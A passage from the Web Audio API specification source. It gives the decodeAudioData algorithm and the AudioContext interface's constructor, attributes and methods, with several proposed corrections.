to\n\t\t{{BaseAudioContext/decodeAudioData()}} has its\n\t\tcontent-type determined by sniffing, as described in\n\t\t[[!mimesniff]].\n\n\t\tAlthough the primary method of interfacing with this function\n\t\tis via its promise return value, the callback parameters are\n\t\tprovided for legacy reasons.\n\n\t\t<div class=\"correction proposed\" id=\"c2321-1\">\n\t\t\t<span class=\"marker\">Candidate Correction Issue 2321:</span>\n\t\t\t<div class=\"amendment-buttons\">\n\t\t\t\tButtons here\n\t\t\t</div>\n\t\t\t\tEncourage implementation to warn authors in case of a corrupted file. It\n\t\t\t\tisn't possible to throw because this would be a breaking change.\n\t\t</div>\n\t\t<ins cite=\"#c2321-1\">\n\t\t\t<div class=note>\n\t\t\t\tNote: If the compressed audio data byte-stream is corrupted but the\n\t\t\t\tdecoding can otherwise proceed, implementations are encouraged to warn\n\t\t\t\tauthors for example via the developer tools.\n\t\t\t</div>\n\t\t</ins>\n\n\t\t<div algorithm=\"decodeAudioData()\">\n\t\t\t<span class=\"synchronous\">When <code>decodeAudioData</code> is\n\t\t\tcalled, the following steps MUST be performed on the control\n\t\t\tthread:</span>\n\n\t\t\t1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] \"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t2. Let <var>promise</var> be a new Promise.\n\n\t\t\t3. <div class=\"correction proposed\" id=\"c2361-1\">\n\t\t\t\t<span class=\"marker\">Proposed Correction\n\t\t\t\t<a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-1.\n\t\t\t\t</span>\n\t\t\t\tUse new Web IDL buffer primitives\n\t\t\t\t<div class=\"amendment-buttons\">\n\t\t\t\t  Buttons here\n\t\t\t\t</div>\n\t\t\t\tIf <del>\n\t\t\t\tthe operation <a href=\"https://tc39.github.io/ecma262/#sec-isdetachedbuffer\"><code>IsDetachedBuffer</code></a> (described in [[!ECMASCRIPT]]) on\n\t\t\t\t{{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}}\n\t\t\t\tis <code>false</code>,</del><ins> {{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}} is [=BufferSource/detached=],</ins> execute the following steps:\n\t\t\t\t</div>\n\n\t\t\t\t1. Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t\t2. <div class=\"correction proposed\" id=\"c2361-2\">\n\t\t\t\t\t<span class=\"marker\">Proposed Correction\n\t\t\t\t\t<a href=\"https://github.com/WebAudio/web-audio-api/issues/2361\">Issue 2361</a>-2.\n\t\t\t\t\t</span>\n\t\t\t\t\tUse new Web IDL buffer primitives\n\t\t\t\t\t<div class=\"amendment-buttons\">\n\t\t\t\t\t  Buttons here\n\t\t\t\t\t</div>\n\t\t\t\t\t<del><a href=\"https://tc39.github.io/ecma262/#sec-detacharraybuffer\">Detach</a></del><ins>[=ArrayBuffer/Detach=]</ins>\n\t\t\t\t\tthe {{BaseAudioContext/decodeAudioData(audioData, successCallback, errorCallback)/audioData!!argument}} {{ArrayBuffer}}.\n\t\t\t\t\t<del>This operation is described in [[!ECMASCRIPT]].</del>\n\t\t\t\t\t If this operations throws, jump to the step 3.\n\t\t\t\t\t</div>\n\n\t\t\t\t3. Queue a decoding operation to be performed on another thread.\n\n\t\t\t4. Else, execute the following error steps:\n\n\t\t\t\t1. Let <var>error</var> be a {{DataCloneError}}.\n\t\t\t\t2. Reject <var>promise</var> with <var>error</var>, and remove it from\n\t\t\t\t\t{{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t\t3. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\tQueue a media element task</a> to invoke\n\t\t\t\t\t{{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} with |error|.\n\n\t\t\t5. Return <var>promise</var>.\n\t\t</div>\n\n\t\t<div algorithm=\"queue a decode operation\">\n\t\t\tWhen queuing a decoding operation to be performed on another\n\t\t\tthread, the following steps MUST happen on a thread that is not\n\t\t\tthe <a>control thread</a> nor the <a>rendering thread</a>,\n\t\t\tcalled the <dfn attribute for=BaseAudioContext>decoding thread</dfn>.\n\n\t\t\tNote: Multiple {{decoding thread}}s can run in parallel to\n\t\t\tservice multiple calls to <code>decodeAudioData</code>.\n\n\t\t\t1. Let <var>can decode</var> be a boolean flag, initially set to true.\n\n\t\t\t2. Attempt to determine the MIME type of\n\t\t\t\t{{BaseAudioContext/decodeAudioData(audioData, successCallback,\n\t\t\t\terrorCallback)/audioData!!argument}}, using\n\t\t\t\t[[mimesniff#matching-an-audio-or-video-type-pattern]]. If the audio or\n\t\t\t\tvideo type pattern matching algorithm returns {{undefined}},\n\t\t\t\tset <var>can decode</var> to <em>false</em>.\n\n\t\t\t3. If <var>can decode</var> is <em>true</em>, attempt to decode the encoded\n\t\t\t\t{{BaseAudioContext/decodeAudioData(audioData, successCallback,\n\t\t\t\terrorCallback)/audioData!!argument}} into [=linear PCM=]. In case of\n\t\t\t\tfailure, set <var>can decode</var> to <em>false</em>.\n\n\t\t\t\t<div class=\"correction proposed\" id=\"c2375-1\">\n\t\t\t\t\t<span class=\"marker\">Proposed Correction\n\t\t\t\t\t\t<a href=\"https://github.com/WebAudio/web-audio-api/issues/2375\">Issue\n\t\t\t\t\t\t\t2375</a>.\n\t\t\t\t\t</span>\n\t\t\t\t\tOnly decode the first audio track of a multi-track media file.\n\t\t\t\t\t<div class=\"amendment-buttons\">\n\t\t\t\t\t\tButtons here\n\t\t\t\t\t</div>\n\t\t\t\t\t<ins cite=#c2375>\n\t\t\t\t\t\tIf the media byte-stream contains multiple audio tracks, only decode the\n\t\t\t\t\t\tfirst track to [=linear pcm=].\n\n\t\t\t\t\t\tNote: Authors who need more control over the decoding process can use\n\t\t\t\t\t\t[[WEBCODECS]].\n\t\t\t\t\t</ins>\n\t\t\t\t</div>\n\n\t\t\t4. If |can decode| is `false`,\n\t\t\t\t<a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Let <var>error</var> be a <code>DOMException</code>\n\t\t\t\t\twhose name is {{EncodingError}}.\n\n\t\t\t\t\t2. Reject <var>promise</var> with <var>error</var>, and remove it from\n\t\t\t\t\t\t{{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t\t3. If {{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} is\n\t\t\t\t\tnot missing, invoke\n\t\t\t\t\t{{BaseAudioContext/decodeAudioData()/errorCallback!!argument}} with\n\t\t\t\t\t<var>error</var>.\n\n\t\t\t5. Otherwise:\n\t\t\t\t1. Take the result, representing the decoded [=linear PCM=]\n\t\t\t\t\taudio data, and resample it to the sample-rate of the\n\t\t\t\t\t{{BaseAudioContext}} if it is different from\n\t\t\t\t\tthe sample-rate of {{BaseAudioContext/decodeAudioData(audioData,\n\t\t\t\t\tsuccessCallback, errorCallback)/audioData!!argument}}.\n\n\t\t\t\t2. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t\t1. Let <var>buffer</var> be an\n\t\t\t\t\t\t{{AudioBuffer}} containing the final result\n\t\t\t\t\t\t(after possibly performing sample-rate conversion).\n\n\t\t\t\t\t2. Resolve <var>promise</var> with <var>buffer</var>.\n\n\t\t\t\t\t3. If {{BaseAudioContext/decodeAudioData()/successCallback!!argument}}\n\t\t\t\t\t\tis not missing, invoke\n\t\t\t\t\t\t{{BaseAudioContext/decodeAudioData()/successCallback!!argument}}\n\t\t\t\t\t\twith <var>buffer</var>.\n\t\t</div>\n\n\t\t<pre class=argumentdef for=\"BaseAudioContext/decodeAudioData()\">\n\t\taudioData: An ArrayBuffer containing compressed audio data.\n\t\tsuccessCallback: A callback function which will be invoked when the decoding is finished. The single argument to this callback is an AudioBuffer representing the decoded PCM audio data.\n\t\terrorCallback: A callback function which will be invoked if there is an error decoding the audio file.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{AudioBuffer}}&gt;\n\t\t</div>\n\n</dl>\n\n<h4 id=\"callback-decodesuccesscallback-parameters\" callback lt=\"DecodeSuccessCallback()\">\nCallback {{DecodeSuccessCallback()}} Parameters</h4>\n\n<dl dfn-type=argument dfn-for=\"DecodeSuccessCallback()\">\n\t: {{DecodeSuccessCallback/decodedData!!argument}}</dfn>, of type {{AudioBuffer}}\n\t:: The AudioBuffer containing the decoded audio data.\n</dl>\n\n<h4 id=\"callback-decodeerrorcallback-parameters\" callback lt=\"DecodeErrorCallback()\">\nCallback {{DecodeErrorCallback()}} Parameters</h4>\n\n<dl dfn-type=argument dfn-for=\"DecodeErrorCallback()\">\n\t: {{DecodeErrorCallback/error!!argument}}, of type {{DOMException}}\n\t:: The error that occurred while decoding.\n</dl>\n\n<h4 id=\"lifetime-AudioContext\" class=\"informative\">\nLifetime</h4>\n\nOnce created, an {{AudioContext}} will continue to play\nsound until it has no more sound to play, or the page goes away.\n\n<h4 id=\"lack-of-introspection-or-serialization-primitives\" class=informative>\nLack of Introspection or Serialization Primitives</h4>\n\nThe Web Audio API takes a <em>fire-and-forget</em> approach to\naudio source scheduling. That is, <a>source nodes</a> are created\nfor each note during the lifetime of the {{AudioContext}}, and\nnever explicitly removed from the graph. This is incompatible with\na serialization API, since there is no stable set of nodes that\ncould be serialized.\n\nMoreover, having an introspection API would allow content script to\nbe able to observe garbage collections.\n\n<h4 id=\"system-resources-associated-with-baseaudiocontext-subclasses\">\nSystem Resources Associated with {{BaseAudioContext}} Subclasses</h4>\n\nThe subclasses {{AudioContext}} and {{OfflineAudioContext}}\nshould be considered expensive objects. Creating these objects may\ninvolve creating a high-priority thread, or using a low-latency\nsystem audio stream, both having an impact on energy consumption.\nIt is usually not necessary to create more than one\n{{AudioContext}} in a document.\n\nConstructing or resuming a {{BaseAudioContext}} subclass\ninvolves <dfn id=\"acquiring\">acquiring system resources</dfn> for\nthat context. For {{AudioContext}}, this also requires creation\nof a system audio stream. These operations return when the context\nbegins generating output from its associated audio graph.\n\nAdditionally, a user-agent can have an implementation-defined\nmaximum number of {{AudioContext}}s, after which any attempt to\ncreate a new {{AudioContext}} will fail, <span class=\"synchronous\">throwing {{NotSupportedError}}</span>.\n\n{{AudioContext/suspend}} and {{AudioContext/close}} allow authors to <dfn id=\"releasing\">release system resources</dfn>, including threads,\nprocesses and audio streams. Suspending a {{BaseAudioContext}}\npermits implementations to release some of its resources, and\nallows it to continue to operate later by invoking\n{{AudioContext/resume}}. Closing an\n{{AudioContext}} permits implementations to release all of its\nresources, after which it cannot be used or resumed again.\n\nNote: For example, this can involve waiting for the audio callbacks to\nfire regularly, or to wait for the hardware to be ready for\nprocessing.\n\n<!--\n   ███     ██████\n  ██ ██   ██    ██\n ██   ██  ██\n██     ██ ██\n█████████ ██\n██     ██ ██    ██\n██     ██  ██████\n-->\n\n<h3 interface lt=\"audiocontext\" id=\"AudioContext\">\nThe {{AudioContext}} Interface</h3>\n\nThis interface represents an audio graph whose\n{{AudioDestinationNode}} is routed to a real-time\noutput device that produces a signal directed at the user. In most\nuse cases, only a single {{AudioContext}} is used per\ndocument.\n\n<pre class=\"idl\">\nenum AudioContextLatencyCategory {\n\t\t\"balanced\",\n\t\t\"interactive\",\n\t\t\"playback\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"AudioContextLatencyCategory\">\n\t<thead>\n\t\t<tr>\n\t\t\t<th scope=\"col\" colspan=\"2\">\n\t\t\t\tEnumeration description\n\t<tbody>\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>balanced</dfn>\"\n\t\t\t<td>\n\t\t\t\tBalance audio output latency and power consumption.\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>interactive</dfn>\"\n\t\t\t<td>\n\t\t\t\tProvide the lowest audio output latency possible without\n\t\t\t\tglitching. This is the default.\n\t\t<tr>\n\t\t\t<td>\n\t\t\t\t\"<dfn>playback</dfn>\"\n\t\t\t<td>\n\t\t\t\tPrioritize sustained playback without interruption over audio\n\t\t\t\toutput latency. Lowest power consumption.\n</table>\n</div>\n\n<xmp class=\"idl\">\n[Exposed=Window]\ninterface AudioContext : BaseAudioContext {\n\tconstructor (optional AudioContextOptions contextOptions = {});\n\treadonly attribute double baseLatency;\n\treadonly attribute double outputLatency;\n\tAudioTimestamp getOutputTimestamp ();\n\tPromise<undefined> resume ();\n\tPromise<undefined> suspend ();\n\tPromise<undefined> close ();\n\tMediaElementAudioSourceNode createMediaElementSource (HTMLMediaElement mediaElement);\n\tMediaStreamAudioSourceNode createMediaStreamSource (MediaStream mediaStream);\n\tMediaStreamTrackAudioSourceNode createMediaStreamTrackSource (\n\t\tMediaStreamTrack mediaStreamTrack);\n\tMediaStreamAudioDestinationNode createMediaStreamDestination ();\n};\n</xmp>\n\nAn {{AudioContext}} is said to be <dfn>allowed to start</dfn> if the user agent\nallows the context state to transition from \"{{AudioContextState/suspended}}\" to\n\"{{AudioContextState/running}}\". A user agent may disallow this initial transition,\nand to allow it only when the {{AudioContext}}'s [=relevant global object=] has\n[=sticky activation=].\n\n{{AudioContext}} has an internal slot:\n\n<dl dfn-type=attribute dfn-for=\"AudioContext\">\n\t: <dfn>[[suspended by user]]</dfn>\n\t::\n\t\tA boolean flag representing whether the context is suspended by user code.\n\t\tThe initial value is <code>false</code>.\n</dl>\n\n<h4 id=\"AudioContext-constructors\">\nConstructors</h4>\n\n<dl dfn-type=\"constructor\" dfn-for=\"AudioContext\">\n\t: <dfn>AudioContext(contextOptions)</dfn>\n\t::\n\t\t<div algorithm=\"AudioContext()\">\n\n\t\t\t<p>\n\t\t\tIf the <a href=\n\t\t\t\t\"https://html.spec.whatwg.org/#concept-current-everything\">current\n\t\t\t\tsettings object</a>'s <a href=\n\t\t\t\t\"https://html.spec.whatwg.org/#responsible-document\">responsible\n\t\t\t\tdocument</a> is NOT <a href=\n\t\t\t\t\"https://html.spec.whatwg.org/multipage/browsers.html#fully-active\">\n\t\t\t\tfully active</a>, throw an <code>InvalidStateError</code> and\n\t\t\tabort these steps.\n\t\t\t</p>\n\t\t\t<span class=\"synchronous\">When creating an {{AudioContext}},\n\t\t\texecute these steps:</span>\n\n\t\t\t1. Set a {{[[control thread state]]}} to <code>suspended</code> on the {{AudioContext}}.\n\n\t\t\t2. Set a {{[[rendering thread state]]}} to <code>suspended</code> on the {{AudioContext}}.\n\n\t\t\t3. Let <dfn attribute for=\"AudioContext\">[[pending resume promises]]</dfn> be a\n\t\t\t\tslot on this {{AudioContext}}, that is an initially empty ordered list of\n\t\t\t\tpromises.\n\n\t\t\t4. If <code>contextOptions</code> is given, apply the options:\n\n\t\t\t\t1. Set the internal latency of this {{AudioContext}}\n\t\t\t\t\taccording to <code>contextOptions.{{AudioContextOptions/latencyHint}}</code>, as described\n\t\t\t\t\tin {{AudioContextOptions/latencyHint}}.\n\n\t\t\t\t2. If <code>contextOptions.{{AudioContextOptions/sampleRate}}</code> is specified,\n\t\t\t\t\tset the {{BaseAudioContext/sampleRate}}\n\t\t\t\t\tof this {{AudioContext}} to this value. Otherwise, use\n\t\t\t\t\tthe sample rate of the default output device. If the\n\t\t\t\t\tselected sample rate differs from the sample rate of the\n\t\t\t\t\toutput device, this {{AudioContext}} MUST resample the\n\t\t\t\t\taudio output to match the sample rate of the output device.\n\n\t\t\t\t\tNote: If resampling is required, the latency of the\n\t\t\t\t\tAudioContext may be affected, possibly by a large\n\t\t\t\t\tamount.\n\n\t\t\t5. If the context is <a>allowed to start</a>, send a\n\t\t\t\t<a>control message</a> to start processing.\n\n\t\t\t6. Return this {{AudioContext}} object.\n\t\t</div>\n\n\t\t<div algorithm=\"sending a control message to start processing\">\n\t\t\tSending a <a>control message</a> to start processing means\n\t\t\texecuting the following steps:\n\n\t\t\t1. Attempt to <a href=\"#acquiring\">acquire system resources</a>.\n\t\t\t\tIn case of failure, abort the following steps.\n\n\t\t\t3. Set the {{[[rendering thread state]]}} to <code>running</code> on the {{AudioContext}}.\n\n\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to \"{{AudioContextState/running}}\".\n\n\t\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\tqueue a media element task</a> to <a spec=\"dom\" lt=\"fire an event\">fire an event\n\t\t\t\t\t</a> named `statechange` at the {{AudioContext}}.\n\t\t</div>\n\n\t\tNote: It is unfortunately not possible to programatically notify\n\t\tauthors that the creation of the {{AudioContext}} failed.\n\t\tUser-Agents are encouraged to log an informative message if\n\t\tthey have access to a logging mechanism, such as a developer\n\t\ttools console.\n\n\t\t<pre class=\"argumentdef\" for=\"AudioContext/constructor(contextOptions)\">\n\t\tcontextOptions: User-specified options controlling how the {{AudioContext}} should be constructed.\n\t\t</pre>\n</dl>\n\n<h4 id=\"AudioContext-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"AudioContext\">\n\t: <dfn>baseLatency</dfn>\n\t::\n\t\tThis represents the number of seconds of processing latency\n\t\tincurred by the {{AudioContext}} passing the audio from the\n\t\t{{AudioDestinationNode}} to the audio subsystem. It does not\n\t\tinclude any additional latency that might be caused by any\n\t\tother processing between the output of the\n\t\t{{AudioDestinationNode}} and the audio hardware and\n\t\tspecifically does not include any latency incurred the audio\n\t\tgraph itself.\n\n\t\tFor example, if the audio context is running at 44.1 kHz and\n\t\tthe {{AudioDestinationNode}} implements double buffering\n\t\tinternally and can process and output audio each <a>render\n\t\tquantum</a>, then the processing latency is \\((2\\cdot128)/44100\n\t\t= 5.805 \\mathrm{ ms}\\), approximately.\n\n\t: <dfn>outputLatency</dfn>\n\t::\n\t\tThe estimation in seconds of audio output latency, i.e., the\n\t\tinterval between the time the UA requests the host system to\n\t\tplay a buffer and the time at which the first sample in the\n\t\tbuffer is actually processed by the audio output device. For\n\t\tdevices such as speakers or headphones that produce an acoustic\n\t\tsignal, this latter time refers to the time when a sample's\n\t\tsound is produced.\n\n\t\tThe {{outputLatency}} attribute value depends\n\t\ton the platform and the connected hardware audio output device.\n\t\tThe {{outputLatency}} attribute value does not\n\t\tchange for the context's lifetime as long as the connected\n\t\taudio output device remains the same. If the audio output\n\t\tdevice is changed the {{outputLatency}}\n\t\tattribute value will be updated accordingly.\n</dl>\n\n<h4 id=\"AudioContext-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"AudioContext\">\n\t: <dfn>close()</dfn>\n\t::\n\t\tCloses the {{AudioContext}}, [=release system resources|releasing the system\n\t\tresources=] being used. This will not automatically release\n\t\tall {{AudioContext}}-created objects, but will suspend the\n\t\tprogression of the {{AudioContext}}'s\n\t\t{{BaseAudioContext/currentTime}}, and stop\n\t\tprocessing audio data.\n\n\t\t<div algorithm=\"AudioContext.close()\">\n\t\t\t<span class=\"synchronous\">When close is called, execute these steps:</span>\n\n\t\t\t1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] \"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t1. Let <var>promise</var> be a new Promise.\n\n\t\t\t1. If the {{[[control thread state]]}} flag on the\n\t\t\t\t{{AudioContext}} is <code>closed</code> reject the promise\n\t\t\t\twith {{InvalidStateError}}, abort these steps,\n\t\t\t\treturning <var>promise</var>.\n\n\t\t\t1. Set the {{[[control thread state]]}} flag on the {{AudioContext}} to\n\t\t\t\t<code>closed</code>.\n\n\t\t\t1. <a>Queue a control message</a> to close the {{AudioContext}}.\n\n\t\t\t1. Return <em>promise</em>.\n\t\t</div>\n\n\t\t<div algorithm=\"run a control message to close an AudioContext\">\n\t\t\tRunning a <a>control message</a> to close an\n\t\t\t{{AudioContext}} means running these steps on the\n\t\t\t<a>rendering thread</a>:\n\n\t\t\t1. Attempt to <a>release system resources</a>.\n\n\t\t\t2. Set the {{[[rendering thread state]]}} to <code>suspended</code>.\n\t\t\t\t<div class=\"note\">\n\t\t\t\t\tThis will stop rendering.\n\t\t\t\t</div>\n\n\t\t\t3. If this <a>control message</a> is being run in a reaction to the\n\t\t\t\tdocument being unloaded, abort this algorithm.\n\t\t\t\t<div class=\"note\">\n\t\t\t\t\tThere is no need to notify the control thread in this case.\n\t\t\t\t</div>\n\n\t\t\t4. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Resolve <em>promise</em>.\n\t\t\t\t2. If the {{BaseAudioContext/state}} attribute of the {{AudioContext}} is not already \"{{AudioContextState/closed}}\":\n\t\t\t\t\t1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to \"{{AudioContextState/closed}}\".\n\n\t\t\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\t\tqueue a media element task</a> to <a spec=\"dom\" lt=\"fire an event\">fire\n\t\t\t\t\t\tan event</a> named `statechange` at the {{AudioContext}}.\n\t\t</div>\n\n\t\tWhen an {{AudioContext}} is closed, any\n\t\t{{MediaStream}}s and {{HTMLMediaElement}}s\n\t\tthat were connected to an {{AudioContext}} will have their\n\t\toutput ignored. That is, these will no longer cause any output\n\t\tto speakers or other output devices. For more flexibility in\n\t\tbehavior, consider using <a href=\"https://www.w3.org/TR/mediacapture-fromelement/#dom-htmlmediaelement-capturestream\">\n\t\t<code>HTMLMediaElement.captureStream()</code></a>.\n\n\t\tNote: When an {{AudioContext}} has been closed, implementation can\n\t\tchoose to aggressively release more resources than when\n\t\tsuspending.\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;\n\t\t</div>\n\n\t: <dfn>createMediaElementSource(mediaElement)</dfn>\n\t::\n\t\tCreates a {{MediaElementAudioSourceNode}}\n\t\tgiven an {{HTMLMediaElement}}. As a consequence of calling this\n\t\tmethod, audio playback from the {{HTMLMediaElement}} will be\n\t\tre-routed into the processing graph of the\n\t\t{{AudioContext}}.\n\n\t\t<pre class=argumentdef for=\"AudioContext/createMediaElementSource()\">\n\t\tmediaElement: The media element that will be re-routed.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{MediaElementAudioSourceNode}}\n\t\t</div>\n\n\t: <dfn>createMediaStreamDestination()</dfn>\n\t::\n\t\tCreates a {{MediaStreamAudioDestinationNode}}\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em>\n\t\t\t{{MediaStreamAudioDestinationNode}}\n\t\t</div>\n\n\t: <dfn>createMediaStreamSource(mediaStream)</dfn>\n\t::\n\t\tCreates a {{MediaStreamAudioSourceNode}}.\n\n\t\t<pre class=argumentdef for=\"AudioContext/createMediaStreamSource()\">\n\t\tmediaStream: The media stream that will act as source.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{MediaStreamAudioSourceNode}}\n\t\t</div>\n\n\t: <dfn>createMediaStreamTrackSource(mediaStreamTrack)</dfn>\n\t::\n\t\tCreates a {{MediaStreamTrackAudioSourceNode}}.\n\n\t\t<pre class=argumentdef for=\"AudioContext/createMediaStreamTrackSource()\">\n\t\tmediaStreamTrack: The {{MediaStreamTrack}} that will act as source. <span class=\"synchronous\">The value of its <code>kind</code> attribute must be equal to <code>\"audio\"</code>, or an {{InvalidStateError}} exception MUST be thrown.</span>\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em>\n\t\t\t{{MediaStreamTrackAudioSourceNode}}\n\t\t</div>\n\n\t: <dfn>getOutputTimestamp()</dfn>\n\t::\n\t\tReturns a new {{AudioTimestamp}} instance\n\t\tcontaining two related audio stream position\n\t\tvalues for the context: the {{AudioTimestamp/contextTime}} member contains\n\t\tthe time of the sample frame which is currently being rendered\n\t\tby the audio output device (i.e., output audio stream\n\t\tposition), in the same units and origin as context's\n\t\t{{BaseAudioContext/currentTime}}; the\n\t\t{{AudioTimestamp/performanceTime}} member\n\t\tcontains the time estimating the moment when the sample frame\n\t\tcorresponding to the stored <code>contextTime</code> value was\n\t\trendered by the audio output device, in the same units and\n\t\torigin as <code>performance.now()</code> (described in\n\t\t[[!hr-time-3]]).\n\n\t\tIf the context's rendering graph has not yet processed a block\n\t\tof audio, then {{getOutputTimestamp}} call\n\t\treturns an {{AudioTimestamp}} instance with both\n\t\tmembers containing zero.\n\n\t\tAfter the context's rendering graph has started processing of\n\t\tblocks of audio, its {{BaseAudioContext/currentTime}} attribute value\n\t\talways exceeds the {{AudioTimestamp/contextTime}} value obtained\n\t\tfrom {{AudioContext/getOutputTimestamp}} method call.\n\n\t\t<div class=example>\n\t\t\tThe value returned from {{getOutputTimestamp}}\n\t\t\tmethod can be used to get performance time estimation for the\n\t\t\tslightly later context's time value:\n\n\t\t\t<pre highlight=\"js\">\n\t\t\t\tfunction outputPerformanceTime(contextTime) {\n\t\t\t\t\tconst timestamp = context.getOutputTimestamp();\n\t\t\t\t\tconst elapsedTime = contextTime - timestamp.contextTime;\n\t\t\t\t\treturn timestamp.performanceTime + elapsedTime * 1000;\n\t\t\t\t}\n\t\t\t</pre>\n\n\t\t\tIn the above example the accuracy of the estimation depends on\n\t\t\thow close the argument value is to the current output audio\n\t\t\tstream position: the closer the given <code>contextTime</code>\n\t\t\tis to <code>timestamp.contextTime</code>, the better the\n\t\t\taccuracy of the obtained estimation.\n\t\t</div>\n\n\t\tNote: The difference between the values of the context's\n\t\t{{BaseAudioContext/currentTime}} and the\n\t\t{{AudioTimestamp/contextTime}}\n\t\tobtained from {{AudioContext/getOutputTimestamp}} method call\n\t\tcannot be considered as a reliable output latency estimation\n\t\tbecause {{BaseAudioContext/currentTime}} may be\n\t\tincremented at non-uniform time intervals, so {{AudioContext/outputLatency}} attribute should\n\t\tbe used instead.\n\n\t\t<div>\n\t\t\t<em>No parameters.</em>\n\t\t</div>\n\t\t<div>\n\t\t\t<em>Return type:</em> {{AudioTimestamp}}\n\t\t</div>\n\n\t: <dfn>resume()</dfn>\n\t::\n\t\tResumes the progression of the {{AudioContext}}'s\n\t\t{{BaseAudioContext/currentTime}} when it has\n\t\tbeen suspended.\n\n\t\t<div algorithm=\"AudioContext::resume()\">\n\t\t\t<span class=\"synchronous\">When resume is called,\n\t\t\texecute these steps:</span>\n\n\t\t\t1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] \"{{InvalidStateError}}\" {{DOMException}}.\n\n\t\t\t1. Let <var>promise</var> be a new Promise.\n\n\t\t\t2. If the {{[[control thread state]]}} on the\n\t\t\t\t{{AudioContext}} is <code>closed</code> reject the\n\t\t\t\tpromise with {{InvalidStateError}}, abort these steps,\n\t\t\t\treturning <var>promise</var>.\n\n\t\t\t3. Set {{[[suspended by user]]}} to <code>false</code>.\n\n\t\t\t4. If the context is not <a>allowed to start</a>, append\n\t\t\t\t<var>promise</var> to {{BaseAudioContext/[[pending promises]]}} and\n\t\t\t\t{{AudioContext/[[pending resume promises]]}} and abort these steps, returning\n\t\t\t\t<var>promise</var>.\n\n\t\t\t5. Set the {{[[control thread state]]}} on the\n\t\t\t\t{{AudioContext}} to <code>running</code>.\n\n\t\t\t6. <a>Queue a control message</a> to resume the {{AudioContext}}.\n\n\t\t\t7. Return <var>promise</var>.\n\t\t</div>\n\n\t\t<div id=\"context-resume\" algorithm=\"run a control message in AudioContext\">\n\t\t\tRunning a <a>control message</a> to resume an\n\t\t\t{{AudioContext}} means running these steps on the\n\t\t\t<a>rendering thread</a>:\n\n\t\t\t1. Attempt to <a href=\"#acquiring\">acquire system resources</a>.\n\n\t\t\t2. Set the {{[[rendering thread state]]}} on the {{AudioContext}} to <code>running</code>.\n\n\t\t\t3. Start <a href=\"#rendering-loop\">rendering the audio graph</a>.\n\n\t\t\t4. In case of failure,\n\t\t\t\t<a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Reject all promises from {{AudioContext/[[pending resume promises]]}}\n\t\t\t\t\tin order, then clear {{AudioContext/[[pending resume promises]]}}.\n\n\t\t\t\t2. Additionally, remove those promises from {{BaseAudioContext/[[pending\n\t\t\t\t\tpromises]]}}.\n\n\t\t\t5. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\tqueue a media element task</a> to execute the following steps:\n\n\t\t\t\t1. Resolve all promises from {{AudioContext/[[pending resume promises]]}} in order.\n\t\t\t\t1. Clear {{AudioContext/[[pending resume promises]]}}. Additionally, remove those\n\t\t\t\t\tpromises from {{BaseAudioContext/[[pending promises]]}}.\n\n\t\t\t\t2. Resolve <em>promise</em>.\n\n\t\t\t\t3. If the {{BaseAudioContext/state}} attribute of the {{AudioContext}} is not already \"{{AudioContextState/running}}\":\n\n\t\t\t\t\t1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to \"{{AudioContextState/running}}\".\n\n\t\t\t\t\t1. <a href=\"https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task\">\n\t\t\t\t\t\tqueue a media element task</a> to <a spec=\"dom\" lt=\"fire an event\">fire\n\t\t\t\t\t\tan event 